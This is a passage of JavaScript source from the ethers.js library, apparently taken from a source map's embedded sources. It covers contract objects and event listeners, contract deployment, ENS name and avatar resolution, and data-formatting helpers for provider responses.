await lastEmit;\n const sub = await hasSub(contract, event);\n if (!sub) {\n return false;\n }\n const count = sub.listeners.length;\n sub.listeners = sub.listeners.filter(({ listener, once }) => {\n const passArgs = Array.from(args);\n if (payloadFunc) {\n passArgs.push(payloadFunc(once ? null : listener));\n }\n try {\n listener.call(contract, ...passArgs);\n }\n catch (error) { }\n return !once;\n });\n if (sub.listeners.length === 0) {\n sub.stop();\n getInternal(contract).subs.delete(sub.tag);\n }\n return (count > 0);\n}\nasync function emit(contract, event, args, payloadFunc) {\n try {\n await lastEmit;\n }\n catch (error) { }\n const resultPromise = _emit(contract, event, args, payloadFunc);\n lastEmit = resultPromise;\n return await resultPromise;\n}\nconst passProperties = [\"then\"];\nexport class BaseContract {\n /**\n * The target to connect to.\n *\n * This can be an address, ENS name or any [[Addressable]], such as\n * another contract. To get the resovled address, use the ``getAddress``\n * method.\n */\n target;\n /**\n * The contract Interface.\n */\n interface;\n /**\n * The connected runner. This is generally a [[Provider]] or a\n * [[Signer]], which dictates what operations are supported.\n *\n * For example, a **Contract** connected to a [[Provider]] may\n * only execute read-only operations.\n */\n runner;\n /**\n * All the Events available on this contract.\n */\n filters;\n /**\n * @_ignore:\n */\n [internal];\n /**\n * The fallback or receive function if any.\n */\n fallback;\n /**\n * Creates a new contract connected to %%target%% with the %%abi%% and\n * optionally connected to a %%runner%% to perform operations on behalf\n * of.\n */\n constructor(target, abi, runner, _deployTx) {\n assertArgument(typeof (target) === \"string\" || isAddressable(target), \"invalid value for Contract target\", \"target\", target);\n if (runner == null) {\n runner = null;\n }\n const iface = Interface.from(abi);\n defineProperties(this, { target, runner, interface: iface });\n Object.defineProperty(this, internal, { value: {} });\n let addrPromise;\n let addr = null;\n let deployTx = null;\n if (_deployTx) {\n const provider = getProvider(runner);\n // @TODO: the provider can be null; make a custom dummy provider that will throw a\n // meaningful error\n deployTx = new ContractTransactionResponse(this.interface, provider, _deployTx);\n }\n let subs = new Map();\n // Resolve the target as the address\n if (typeof (target) === \"string\") {\n if (isHexString(target)) {\n addr = target;\n addrPromise = Promise.resolve(target);\n }\n else {\n const resolver = getRunner(runner, \"resolveName\");\n if (!canResolve(resolver)) {\n throw makeError(\"contract runner does not support name resolution\", \"UNSUPPORTED_OPERATION\", {\n operation: \"resolveName\"\n });\n }\n addrPromise = resolver.resolveName(target).then((addr) => {\n if (addr == null) {\n throw makeError(\"an ENS name used for a contract target must be correctly configured\", \"UNCONFIGURED_NAME\", {\n value: target\n });\n }\n getInternal(this).addr = addr;\n return addr;\n });\n }\n }\n else {\n addrPromise = target.getAddress().then((addr) => {\n if (addr == null) {\n throw new Error(\"TODO\");\n }\n getInternal(this).addr = addr;\n return addr;\n });\n }\n // Set our private values\n setInternal(this, { addrPromise, addr, deployTx, subs });\n // Add the event filters\n const filters = new Proxy({}, {\n get: (target, prop, receiver) => {\n // Pass important checks (like `then` for Promise) through\n if (typeof (prop) === \"symbol\" || passProperties.indexOf(prop) >= 0) {\n return Reflect.get(target, prop, receiver);\n }\n try {\n return this.getEvent(prop);\n }\n catch (error) {\n if (!isError(error, \"INVALID_ARGUMENT\") || error.argument !== \"key\") {\n throw error;\n }\n }\n return undefined;\n },\n has: (target, prop) => {\n // Pass important checks (like `then` for Promise) through\n if (passProperties.indexOf(prop) >= 0) {\n return Reflect.has(target, prop);\n }\n return Reflect.has(target, prop) || this.interface.hasEvent(String(prop));\n }\n });\n defineProperties(this, { filters });\n defineProperties(this, {\n fallback: ((iface.receive || iface.fallback) ? (buildWrappedFallback(this)) : null)\n });\n // Return a Proxy that will respond to functions\n return new Proxy(this, {\n get: (target, prop, receiver) => {\n if (typeof (prop) === \"symbol\" || prop in target || passProperties.indexOf(prop) >= 0) {\n return Reflect.get(target, prop, receiver);\n }\n // Undefined properties should return undefined\n try {\n return target.getFunction(prop);\n }\n catch (error) {\n if (!isError(error, \"INVALID_ARGUMENT\") || error.argument !== \"key\") {\n throw error;\n }\n }\n return undefined;\n },\n has: (target, prop) => {\n if (typeof (prop) === \"symbol\" || prop in target || passProperties.indexOf(prop) >= 0) {\n return Reflect.has(target, prop);\n }\n return target.interface.hasFunction(prop);\n }\n });\n }\n /**\n * Return a new Contract instance with the same target and ABI, but\n * a different %%runner%%.\n */\n connect(runner) {\n return new BaseContract(this.target, this.interface, runner);\n }\n /**\n * Return a new Contract instance with the same ABI and runner, but\n * a different %%target%%.\n */\n attach(target) {\n return new BaseContract(target, this.interface, this.runner);\n }\n /**\n * Return the resolved address of this Contract.\n */\n async getAddress() { return await getInternal(this).addrPromise; }\n /**\n * Return the deployed bytecode or null if no bytecode is found.\n */\n async getDeployedCode() {\n const provider = getProvider(this.runner);\n assert(provider, \"runner does not support .provider\", \"UNSUPPORTED_OPERATION\", { operation: \"getDeployedCode\" });\n const code = await provider.getCode(await this.getAddress());\n if (code === \"0x\") {\n return null;\n }\n return code;\n }\n /**\n * Resolve to this Contract once the bytecode has been deployed, or\n * resolve immediately if already deployed.\n */\n async waitForDeployment() {\n // We have the deployement transaction; just use that (throws if deployement fails)\n const deployTx = this.deploymentTransaction();\n if (deployTx) {\n await deployTx.wait();\n return this;\n }\n // Check for code\n const code = await this.getDeployedCode();\n if (code != null) {\n return this;\n }\n // Make sure we can subscribe to a provider event\n const provider = getProvider(this.runner);\n assert(provider != null, \"contract runner does not support .provider\", \"UNSUPPORTED_OPERATION\", { operation: \"waitForDeployment\" });\n return new Promise((resolve, reject) => {\n const checkCode = async () => {\n try {\n const code = await this.getDeployedCode();\n if (code != null) {\n return resolve(this);\n }\n provider.once(\"block\", checkCode);\n }\n catch (error) {\n reject(error);\n }\n };\n checkCode();\n });\n }\n /**\n * Return the transaction used to deploy this contract.\n *\n * This is only available if this instance was returned from a\n * [[ContractFactory]].\n */\n deploymentTransaction() {\n return getInternal(this).deployTx;\n }\n /**\n * Return the function for a given name. This is useful when a contract\n * method name conflicts with a JavaScript name such as ``prototype`` or\n * when using a Contract programatically.\n */\n getFunction(key) {\n if (typeof (key) !== \"string\") {\n key = key.format();\n }\n const func = buildWrappedMethod(this, key);\n return func;\n }\n /**\n * Return the event for a given name. This is useful when a contract\n * event name conflicts with a JavaScript name such as ``prototype`` or\n * when using a Contract programatically.\n */\n getEvent(key) {\n if (typeof (key) !== \"string\") {\n key = key.format();\n }\n return buildWrappedEvent(this, key);\n }\n /**\n * @_ignore:\n */\n async queryTransaction(hash) {\n throw new Error(\"@TODO\");\n }\n /*\n // @TODO: this is a non-backwards compatible change, but will be added\n // in v7 and in a potential SmartContract class in an upcoming\n // v6 release\n async getTransactionReceipt(hash: string): Promise {\n const provider = getProvider(this.runner);\n assert(provider, \"contract runner does not have a provider\",\n \"UNSUPPORTED_OPERATION\", { operation: \"queryTransaction\" });\n\n const receipt = await provider.getTransactionReceipt(hash);\n if (receipt == null) { return null; }\n\n return new ContractTransactionReceipt(this.interface, provider, receipt);\n }\n */\n /**\n * Provide historic access to event data for %%event%% in the range\n * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``\"latest\"``)\n * inclusive.\n */\n async queryFilter(event, fromBlock, toBlock) {\n if (fromBlock == null) {\n fromBlock = 0;\n }\n if (toBlock == null) {\n toBlock = \"latest\";\n }\n const { addr, addrPromise } = getInternal(this);\n const address = (addr ? addr : (await addrPromise));\n const { fragment, topics } = await getSubInfo(this, event);\n const filter = { address, topics, fromBlock, toBlock };\n const provider = getProvider(this.runner);\n assert(provider, \"contract runner does not have a provider\", \"UNSUPPORTED_OPERATION\", { operation: \"queryFilter\" });\n return (await provider.getLogs(filter)).map((log) => {\n let foundFragment = fragment;\n if (foundFragment == null) {\n try {\n foundFragment = this.interface.getEvent(log.topics[0]);\n }\n catch (error) { }\n }\n if (foundFragment) {\n try {\n return new EventLog(log, this.interface, foundFragment);\n }\n catch (error) {\n return new UndecodedEventLog(log, error);\n }\n }\n return new Log(log, provider);\n });\n }\n /**\n * Add an event %%listener%% for the %%event%%.\n */\n async on(event, listener) {\n const sub = await getSub(this, \"on\", event);\n sub.listeners.push({ listener, once: false });\n sub.start();\n return this;\n }\n /**\n * Add an event %%listener%% for the %%event%%, but remove the listener\n * after it is fired once.\n */\n async once(event, listener) {\n const sub = await getSub(this, \"once\", event);\n sub.listeners.push({ listener, once: true });\n sub.start();\n return this;\n }\n /**\n * Emit an %%event%% calling all listeners with %%args%%.\n *\n * Resolves to ``true`` if any listeners were called.\n */\n async emit(event, ...args) {\n return await emit(this, event, args, null);\n }\n /**\n * Resolves to the number of listeners of %%event%% or the total number\n * of listeners if unspecified.\n */\n async listenerCount(event) {\n if (event) {\n const sub = await hasSub(this, event);\n if (!sub) {\n return 0;\n }\n return sub.listeners.length;\n }\n const { subs } = getInternal(this);\n let total = 0;\n for (const { listeners } of subs.values()) {\n total += listeners.length;\n }\n return total;\n }\n /**\n * Resolves to the listeners subscribed to %%event%% or all listeners\n * if unspecified.\n */\n async listeners(event) {\n if (event) {\n const sub = await hasSub(this, event);\n if (!sub) {\n return [];\n }\n return sub.listeners.map(({ listener }) => listener);\n }\n const { subs } = getInternal(this);\n let result = [];\n for (const { listeners } of subs.values()) {\n result = result.concat(listeners.map(({ listener }) => listener));\n }\n return result;\n }\n /**\n * Remove the %%listener%% from the listeners for %%event%% or remove\n * all listeners if unspecified.\n */\n async off(event, listener) {\n const sub = await hasSub(this, event);\n if (!sub) {\n return this;\n }\n if (listener) {\n const index = sub.listeners.map(({ listener }) => listener).indexOf(listener);\n if (index >= 0) {\n sub.listeners.splice(index, 1);\n }\n }\n if (listener == null || sub.listeners.length === 0) {\n sub.stop();\n getInternal(this).subs.delete(sub.tag);\n }\n return this;\n }\n /**\n * Remove all the listeners for %%event%% or remove all listeners if\n * unspecified.\n */\n async removeAllListeners(event) {\n if (event) {\n const sub = await hasSub(this, event);\n if (!sub) {\n return this;\n }\n sub.stop();\n getInternal(this).subs.delete(sub.tag);\n }\n else {\n const { subs } = getInternal(this);\n for (const { tag, stop } of subs.values()) {\n stop();\n subs.delete(tag);\n }\n }\n return this;\n }\n /**\n * Alias for [on].\n */\n async addListener(event, listener) {\n return await this.on(event, listener);\n }\n /**\n * Alias for [off].\n */\n async removeListener(event, listener) {\n return await this.off(event, listener);\n }\n /**\n * Create a new Class for the %%abi%%.\n */\n static buildClass(abi) {\n class CustomContract extends BaseContract {\n constructor(address, runner = null) {\n super(address, abi, runner);\n }\n }\n return CustomContract;\n }\n ;\n /**\n * Create a new BaseContract with a specified Interface.\n */\n static from(target, abi, runner) {\n if (runner == null) {\n runner = null;\n }\n const contract = new this(target, abi, runner);\n return contract;\n }\n}\nfunction _ContractBase() {\n return BaseContract;\n}\n/**\n * A [[BaseContract]] with no type guards on its methods or events.\n */\nexport class Contract extends _ContractBase() {\n}\n//# sourceMappingURL=contract.js.map","import { Interface } from \"../abi/index.js\";\nimport { getCreateAddress } from \"../address/index.js\";\nimport { concat, defineProperties, getBytes, hexlify, assert, assertArgument } from \"../utils/index.js\";\nimport { BaseContract, copyOverrides, resolveArgs } from \"./contract.js\";\n// A = Arguments to the constructor\n// I = Interface of deployed contracts\n/**\n * A **ContractFactory** is used to deploy a Contract to the blockchain.\n */\nexport class ContractFactory {\n /**\n * The Contract Interface.\n */\n interface;\n /**\n * The Contract deployment bytecode. Often called the initcode.\n */\n bytecode;\n /**\n * The ContractRunner to deploy the Contract as.\n */\n runner;\n /**\n * Create a new **ContractFactory** with %%abi%% and %%bytecode%%,\n * optionally connected to %%runner%%.\n *\n * The %%bytecode%% may be the ``bytecode`` property within the\n * standard Solidity JSON output.\n */\n constructor(abi, bytecode, runner) {\n const iface = Interface.from(abi);\n // Dereference Solidity bytecode objects and allow a missing `0x`-prefix\n if (bytecode instanceof Uint8Array) {\n bytecode = hexlify(getBytes(bytecode));\n }\n else {\n if (typeof (bytecode) === \"object\") {\n bytecode = bytecode.object;\n }\n if (!bytecode.startsWith(\"0x\")) {\n bytecode = \"0x\" + bytecode;\n }\n bytecode = hexlify(getBytes(bytecode));\n }\n defineProperties(this, {\n bytecode, interface: iface, runner: (runner || null)\n });\n }\n attach(target) {\n return new BaseContract(target, this.interface, this.runner);\n }\n /**\n * Resolves to the transaction to deploy the contract, passing %%args%%\n * into the constructor.\n */\n async getDeployTransaction(...args) {\n let overrides = {};\n const fragment = this.interface.deploy;\n if (fragment.inputs.length + 1 === args.length) {\n overrides = await copyOverrides(args.pop());\n }\n if (fragment.inputs.length !== args.length) {\n throw new Error(\"incorrect number of arguments to constructor\");\n }\n const resolvedArgs = await resolveArgs(this.runner, fragment.inputs, args);\n const data = concat([this.bytecode, this.interface.encodeDeploy(resolvedArgs)]);\n return Object.assign({}, overrides, { data });\n }\n /**\n * Resolves to the Contract deployed by passing %%args%% into the\n * constructor.\n *\n * This will resolve to the Contract before it has been deployed to the\n * network, so the [[BaseContract-waitForDeployment]] should be used before\n * sending any transactions to it.\n */\n async deploy(...args) {\n const tx = await this.getDeployTransaction(...args);\n assert(this.runner && typeof (this.runner.sendTransaction) === \"function\", \"factory runner does not support sending transactions\", \"UNSUPPORTED_OPERATION\", {\n operation: \"sendTransaction\"\n });\n const sentTx = await this.runner.sendTransaction(tx);\n const address = getCreateAddress(sentTx);\n return new BaseContract(address, this.interface, this.runner, sentTx);\n }\n /**\n * Return a new **ContractFactory** with the same ABI and bytecode,\n * but connected to %%runner%%.\n */\n connect(runner) {\n return new ContractFactory(this.interface, this.bytecode, runner);\n }\n /**\n * Create a new **ContractFactory** from the standard Solidity JSON output.\n */\n static fromSolidity(output, runner) {\n assertArgument(output != null, \"bad compiler output\", \"output\", output);\n if (typeof (output) === \"string\") {\n output = JSON.parse(output);\n }\n const abi = output.abi;\n let bytecode = \"\";\n if (output.bytecode) {\n bytecode = output.bytecode;\n }\n else if (output.evm && output.evm.bytecode) {\n bytecode = output.evm.bytecode;\n }\n return new this(abi, bytecode, runner);\n }\n}\n//# sourceMappingURL=factory.js.map","/**\n * ENS is a service which allows easy-to-remember names to map to\n * network addresses.\n *\n * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver]\n */\nimport { getAddress } from \"../address/index.js\";\nimport { ZeroAddress } from \"../constants/index.js\";\nimport { Contract } from \"../contract/index.js\";\nimport { dnsEncode, namehash } from \"../hash/index.js\";\nimport { hexlify, isHexString, toBeHex, defineProperties, encodeBase58, assert, assertArgument, isError, FetchRequest } from \"../utils/index.js\";\n// @TODO: This should use the fetch-data:ipfs gateway\n// Trim off the ipfs:// prefix and return the default gateway URL\nfunction getIpfsLink(link) {\n if (link.match(/^ipfs:\\/\\/ipfs\\//i)) {\n link = link.substring(12);\n }\n else if (link.match(/^ipfs:\\/\\//i)) {\n link = link.substring(7);\n }\n else {\n assertArgument(false, \"unsupported IPFS format\", \"link\", link);\n }\n return `https:/\\/gateway.ipfs.io/ipfs/${link}`;\n}\n;\n;\n/**\n * A provider plugin super-class for processing multicoin address types.\n */\nexport class MulticoinProviderPlugin {\n /**\n * The name.\n */\n name;\n /**\n * Creates a new **MulticoinProviderPluing** for %%name%%.\n */\n constructor(name) {\n defineProperties(this, { name });\n }\n connect(proivder) {\n return this;\n }\n /**\n * Returns ``true`` if %%coinType%% is supported by this plugin.\n */\n supportsCoinType(coinType) {\n return false;\n }\n /**\n * Resolves to the encoded %%address%% for %%coinType%%.\n */\n async encodeAddress(coinType, address) {\n throw new Error(\"unsupported coin\");\n }\n /**\n * Resolves to the decoded %%data%% for %%coinType%%.\n */\n async decodeAddress(coinType, data) {\n throw new Error(\"unsupported coin\");\n }\n}\nconst BasicMulticoinPluginId = \"org.ethers.plugins.provider.BasicMulticoin\";\n/**\n * A **BasicMulticoinProviderPlugin** provides service for common\n * coin types, which do not require additional libraries to encode or\n * decode.\n */\nexport class BasicMulticoinProviderPlugin extends MulticoinProviderPlugin {\n /**\n * Creates a new **BasicMulticoinProviderPlugin**.\n */\n constructor() {\n super(BasicMulticoinPluginId);\n }\n}\nconst matcherIpfs = new RegExp(\"^(ipfs):/\\/(.*)$\", \"i\");\nconst matchers = [\n new RegExp(\"^(https):/\\/(.*)$\", \"i\"),\n new RegExp(\"^(data):(.*)$\", \"i\"),\n matcherIpfs,\n new RegExp(\"^eip155:[0-9]+/(erc[0-9]+):(.*)$\", \"i\"),\n];\n/**\n * A connected object to a resolved ENS name resolver, which can be\n * used to query additional details.\n */\nexport class EnsResolver {\n /**\n * The connected provider.\n */\n provider;\n /**\n * The address of the resolver.\n */\n address;\n /**\n * The name this resolver was resolved against.\n */\n name;\n // For EIP-2544 names, the ancestor that provided the resolver\n #supports2544;\n #resolver;\n constructor(provider, address, name) {\n defineProperties(this, { provider, address, name });\n this.#supports2544 = null;\n this.#resolver = new Contract(address, [\n \"function supportsInterface(bytes4) view returns (bool)\",\n \"function resolve(bytes, bytes) view returns (bytes)\",\n \"function addr(bytes32) view returns (address)\",\n \"function addr(bytes32, uint) view returns (bytes)\",\n \"function text(bytes32, string) view returns (string)\",\n \"function contenthash(bytes32) view returns (bytes)\",\n ], provider);\n }\n /**\n * Resolves to true if the resolver supports wildcard resolution.\n */\n async supportsWildcard() {\n if (this.#supports2544 == null) {\n this.#supports2544 = (async () => {\n try {\n return await this.#resolver.supportsInterface(\"0x9061b923\");\n }\n catch (error) {\n // Wildcard resolvers must understand supportsInterface\n // and return true.\n if (isError(error, \"CALL_EXCEPTION\")) {\n return false;\n }\n // Let future attempts try again...\n this.#supports2544 = null;\n throw error;\n }\n })();\n }\n return await this.#supports2544;\n }\n async #fetch(funcName, params) {\n params = (params || []).slice();\n const iface = this.#resolver.interface;\n // The first parameters is always the nodehash\n params.unshift(namehash(this.name));\n let fragment = null;\n if (await this.supportsWildcard()) {\n fragment = iface.getFunction(funcName);\n assert(fragment, \"missing fragment\", \"UNKNOWN_ERROR\", {\n info: { funcName }\n });\n params = [\n dnsEncode(this.name, 255),\n iface.encodeFunctionData(fragment, params)\n ];\n funcName = \"resolve(bytes,bytes)\";\n }\n params.push({\n enableCcipRead: true\n });\n try {\n const result = await this.#resolver[funcName](...params);\n if (fragment) {\n return iface.decodeFunctionResult(fragment, result)[0];\n }\n return result;\n }\n catch (error) {\n if (!isError(error, \"CALL_EXCEPTION\")) {\n throw error;\n }\n }\n return null;\n }\n /**\n * Resolves to the address for %%coinType%% or null if the\n * provided %%coinType%% has not been configured.\n */\n async getAddress(coinType) {\n if (coinType == null) {\n coinType = 60;\n }\n if (coinType === 60) {\n try {\n const result = await this.#fetch(\"addr(bytes32)\");\n // No address\n if (result == null || result === ZeroAddress) {\n return null;\n }\n return result;\n }\n catch (error) {\n if (isError(error, \"CALL_EXCEPTION\")) {\n return null;\n }\n throw error;\n }\n }\n // Try decoding its EVM canonical chain as an EVM chain address first\n if (coinType >= 0 && coinType < 0x80000000) {\n let ethCoinType = coinType + 0x80000000;\n const data = await this.#fetch(\"addr(bytes32,uint)\", [ethCoinType]);\n if (isHexString(data, 20)) {\n return getAddress(data);\n }\n }\n let coinPlugin = null;\n for (const plugin of this.provider.plugins) {\n if (!(plugin instanceof MulticoinProviderPlugin)) {\n continue;\n }\n if (plugin.supportsCoinType(coinType)) {\n coinPlugin = plugin;\n break;\n }\n }\n if (coinPlugin == null) {\n return null;\n }\n // keccak256(\"addr(bytes32,uint256\")\n const data = await this.#fetch(\"addr(bytes32,uint)\", [coinType]);\n // No address\n if (data == null || data === \"0x\") {\n return null;\n }\n // Compute the address\n const address = await coinPlugin.decodeAddress(coinType, data);\n if (address != null) {\n return address;\n }\n assert(false, `invalid coin data`, \"UNSUPPORTED_OPERATION\", {\n operation: `getAddress(${coinType})`,\n info: { coinType, data }\n });\n }\n /**\n * Resolves to the EIP-634 text record for %%key%%, or ``null``\n * if unconfigured.\n */\n async getText(key) {\n const data = await this.#fetch(\"text(bytes32,string)\", [key]);\n if (data == null || data === \"0x\") {\n return null;\n }\n return data;\n }\n /**\n * Rsolves to the content-hash or ``null`` if unconfigured.\n */\n async getContentHash() {\n // keccak256(\"contenthash()\")\n const data = await this.#fetch(\"contenthash(bytes32)\");\n // No contenthash\n if (data == null || data === \"0x\") {\n return null;\n }\n // IPFS (CID: 1, Type: 70=DAG-PB, 72=libp2p-key)\n const ipfs = data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);\n if (ipfs) {\n const scheme = (ipfs[1] === \"e3010170\") ? \"ipfs\" : \"ipns\";\n const length = parseInt(ipfs[4], 16);\n if (ipfs[5].length === length * 2) {\n return `${scheme}:/\\/${encodeBase58(\"0x\" + ipfs[2])}`;\n }\n }\n // Swarm (CID: 1, Type: swarm-manifest; hash/length hard-coded to keccak256/32)\n const swarm = data.match(/^0xe40101fa011b20([0-9a-f]*)$/);\n if (swarm && swarm[1].length === 64) {\n return `bzz:/\\/${swarm[1]}`;\n }\n assert(false, `invalid or unsupported content hash data`, \"UNSUPPORTED_OPERATION\", {\n operation: \"getContentHash()\",\n info: { data }\n });\n }\n /**\n * Resolves to the avatar url or ``null`` if the avatar is either\n * unconfigured or incorrectly configured (e.g. references an NFT\n * not owned by the address).\n *\n * If diagnosing issues with configurations, the [[_getAvatar]]\n * method may be useful.\n */\n async getAvatar() {\n const avatar = await this._getAvatar();\n return avatar.url;\n }\n /**\n * When resolving an avatar, there are many steps involved, such\n * fetching metadata and possibly validating ownership of an\n * NFT.\n *\n * This method can be used to examine each step and the value it\n * was working from.\n */\n async _getAvatar() {\n const linkage = [{ type: \"name\", value: this.name }];\n try {\n // test data for ricmoo.eth\n //const avatar = \"eip155:1/erc721:0x265385c7f4132228A0d54EB1A9e7460b91c0cC68/29233\";\n const avatar = await this.getText(\"avatar\");\n if (avatar == null) {\n linkage.push({ type: \"!avatar\", value: \"\" });\n return { url: null, linkage };\n }\n linkage.push({ type: \"avatar\", value: avatar });\n for (let i = 0; i < matchers.length; i++) {\n const match = avatar.match(matchers[i]);\n if (match == null) {\n continue;\n }\n const scheme = match[1].toLowerCase();\n switch (scheme) {\n case \"https\":\n case \"data\":\n linkage.push({ type: \"url\", value: avatar });\n return { linkage, url: avatar };\n case \"ipfs\": {\n const url = getIpfsLink(avatar);\n linkage.push({ type: \"ipfs\", value: avatar });\n linkage.push({ type: \"url\", value: url });\n return { linkage, url };\n }\n case \"erc721\":\n case \"erc1155\": {\n // Depending on the ERC type, use tokenURI(uint256) or url(uint256)\n const selector = (scheme === \"erc721\") ? \"tokenURI(uint256)\" : \"uri(uint256)\";\n linkage.push({ type: scheme, value: avatar });\n // The owner of this name\n const owner = await this.getAddress();\n if (owner == null) {\n linkage.push({ type: \"!owner\", value: \"\" });\n return { url: null, linkage };\n }\n const comps = (match[2] || \"\").split(\"/\");\n if (comps.length !== 2) {\n linkage.push({ type: `!${scheme}caip`, value: (match[2] || \"\") });\n return { url: null, linkage };\n }\n const tokenId = comps[1];\n const contract = new Contract(comps[0], [\n // ERC-721\n \"function tokenURI(uint) view returns (string)\",\n \"function ownerOf(uint) view returns (address)\",\n // ERC-1155\n \"function uri(uint) view returns (string)\",\n \"function balanceOf(address, uint256) view returns (uint)\"\n ], this.provider);\n // Check that this account owns the token\n if (scheme === \"erc721\") {\n const tokenOwner = await contract.ownerOf(tokenId);\n if (owner !== tokenOwner) {\n linkage.push({ type: \"!owner\", value: tokenOwner });\n return { url: null, linkage };\n }\n linkage.push({ type: \"owner\", value: tokenOwner });\n }\n else if (scheme === \"erc1155\") {\n const balance = await contract.balanceOf(owner, tokenId);\n if (!balance) {\n linkage.push({ type: \"!balance\", value: \"0\" });\n return { url: null, linkage };\n }\n linkage.push({ type: \"balance\", value: balance.toString() });\n }\n // Call the token contract for the metadata URL\n let metadataUrl = await contract[selector](tokenId);\n if (metadataUrl == null || metadataUrl === \"0x\") {\n linkage.push({ type: \"!metadata-url\", value: \"\" });\n return { url: null, linkage };\n }\n linkage.push({ type: \"metadata-url-base\", value: metadataUrl });\n // ERC-1155 allows a generic {id} in the URL\n if (scheme === \"erc1155\") {\n metadataUrl = metadataUrl.replace(\"{id}\", toBeHex(tokenId, 32).substring(2));\n linkage.push({ type: \"metadata-url-expanded\", value: metadataUrl });\n }\n // Transform IPFS metadata links\n if (metadataUrl.match(/^ipfs:/i)) {\n metadataUrl = getIpfsLink(metadataUrl);\n }\n linkage.push({ type: \"metadata-url\", value: metadataUrl });\n // Get the token metadata\n let metadata = {};\n const response = await (new FetchRequest(metadataUrl)).send();\n response.assertOk();\n try {\n metadata = response.bodyJson;\n }\n catch (error) {\n try {\n linkage.push({ type: \"!metadata\", value: response.bodyText });\n }\n catch (error) {\n const bytes = response.body;\n if (bytes) {\n linkage.push({ type: \"!metadata\", value: hexlify(bytes) });\n }\n return { url: null, linkage };\n }\n return { url: null, linkage };\n }\n if (!metadata) {\n linkage.push({ type: \"!metadata\", value: \"\" });\n return { url: null, linkage };\n }\n linkage.push({ type: \"metadata\", value: JSON.stringify(metadata) });\n // Pull the image URL out\n let imageUrl = metadata.image;\n if (typeof (imageUrl) !== \"string\") {\n linkage.push({ type: \"!imageUrl\", value: \"\" });\n return { url: null, linkage };\n }\n if (imageUrl.match(/^(https:\\/\\/|data:)/i)) {\n // Allow\n }\n else {\n // Transform IPFS link to gateway\n const ipfs = imageUrl.match(matcherIpfs);\n if (ipfs == null) {\n linkage.push({ type: \"!imageUrl-ipfs\", value: imageUrl });\n return { url: null, linkage };\n }\n linkage.push({ type: \"imageUrl-ipfs\", value: imageUrl });\n imageUrl = getIpfsLink(imageUrl);\n }\n linkage.push({ type: \"url\", value: imageUrl });\n return { linkage, url: imageUrl };\n }\n }\n }\n }\n catch (error) { }\n return { linkage, url: null };\n }\n static async getEnsAddress(provider) {\n const network = await provider.getNetwork();\n const ensPlugin = network.getPlugin(\"org.ethers.plugins.network.Ens\");\n // No ENS...\n assert(ensPlugin, \"network does not support ENS\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getEnsAddress\", info: { network }\n });\n return ensPlugin.address;\n }\n static async #getResolver(provider, name) {\n const ensAddr = await EnsResolver.getEnsAddress(provider);\n try {\n const contract = new Contract(ensAddr, [\n \"function resolver(bytes32) view returns (address)\"\n ], provider);\n const addr = await contract.resolver(namehash(name), {\n enableCcipRead: true\n });\n if (addr === ZeroAddress) {\n return null;\n }\n return addr;\n }\n catch (error) {\n // ENS registry cannot throw errors on resolver(bytes32),\n // so probably a link error\n throw error;\n }\n return null;\n }\n /**\n * Resolve to the ENS resolver for %%name%% using %%provider%% or\n * ``null`` if unconfigured.\n */\n static async fromName(provider, name) {\n let currentName = name;\n while (true) {\n if (currentName === \"\" || currentName === \".\") {\n return null;\n }\n // Optimization since the eth node cannot change and does\n // not have a wildcard resolver\n if (name !== \"eth\" && currentName === \"eth\") {\n return null;\n }\n // Check the current node for a resolver\n const addr = await EnsResolver.#getResolver(provider, currentName);\n // Found a resolver!\n if (addr != null) {\n const resolver = new EnsResolver(provider, addr, name);\n // Legacy resolver found, using EIP-2544 so it isn't safe to use\n if (currentName !== name && !(await resolver.supportsWildcard())) {\n return null;\n }\n return resolver;\n }\n // Get the parent node\n currentName = currentName.split(\".\").slice(1).join(\".\");\n }\n }\n}\n//# sourceMappingURL=ens-resolver.js.map","/**\n * @_ignore\n */\nimport { getAddress, getCreateAddress } from \"../address/index.js\";\nimport { Signature } from \"../crypto/index.js\";\nimport { accessListify } from \"../transaction/index.js\";\nimport { getBigInt, getNumber, hexlify, isHexString, zeroPadValue, assert, assertArgument } from \"../utils/index.js\";\nconst BN_0 = BigInt(0);\nexport function allowNull(format, nullValue) {\n return (function (value) {\n if (value == null) {\n return nullValue;\n }\n return format(value);\n });\n}\nexport function arrayOf(format, allowNull) {\n return ((array) => {\n if (allowNull && array == null) {\n return null;\n }\n if (!Array.isArray(array)) {\n throw new Error(\"not an array\");\n }\n return array.map((i) => format(i));\n });\n}\n// Requires an object which matches a fleet of other formatters\n// Any FormatFunc may return `undefined` to have the value omitted\n// from the result object. Calls preserve `this`.\nexport function object(format, altNames) {\n return ((value) => {\n const result = {};\n for (const key in format) {\n let srcKey = key;\n if (altNames && key in altNames && !(srcKey in value)) {\n for (const altKey of altNames[key]) {\n if (altKey in value) {\n srcKey = altKey;\n break;\n }\n }\n }\n try {\n const nv = format[key](value[srcKey]);\n if (nv !== undefined) {\n result[key] = nv;\n }\n }\n catch (error) {\n const message = (error instanceof Error) ? error.message : \"not-an-error\";\n assert(false, `invalid value for value.${key} (${message})`, \"BAD_DATA\", { value });\n }\n }\n return result;\n });\n}\nexport function formatBoolean(value) {\n switch (value) {\n case true:\n case \"true\":\n return true;\n case false:\n case \"false\":\n return false;\n }\n assertArgument(false, `invalid boolean; ${JSON.stringify(value)}`, \"value\", value);\n}\nexport function formatData(value) {\n assertArgument(isHexString(value, true), \"invalid data\", \"value\", value);\n return value;\n}\nexport function formatHash(value) {\n assertArgument(isHexString(value, 32), \"invalid hash\", \"value\", value);\n return value;\n}\nexport function formatUint256(value) {\n if (!isHexString(value)) {\n throw new Error(\"invalid uint256\");\n }\n return zeroPadValue(value, 32);\n}\nconst _formatLog = object({\n address: getAddress,\n blockHash: formatHash,\n blockNumber: getNumber,\n data: formatData,\n index: getNumber,\n removed: allowNull(formatBoolean, false),\n topics: arrayOf(formatHash),\n transactionHash: formatHash,\n transactionIndex: getNumber,\n}, {\n index: [\"logIndex\"]\n});\nexport function formatLog(value) {\n return _formatLog(value);\n}\nconst _formatBlock = object({\n hash: allowNull(formatHash),\n parentHash: formatHash,\n parentBeaconBlockRoot: allowNull(formatHash, null),\n number: getNumber,\n timestamp: getNumber,\n nonce: allowNull(formatData),\n difficulty: getBigInt,\n gasLimit: getBigInt,\n gasUsed: getBigInt,\n stateRoot: allowNull(formatHash, null),\n 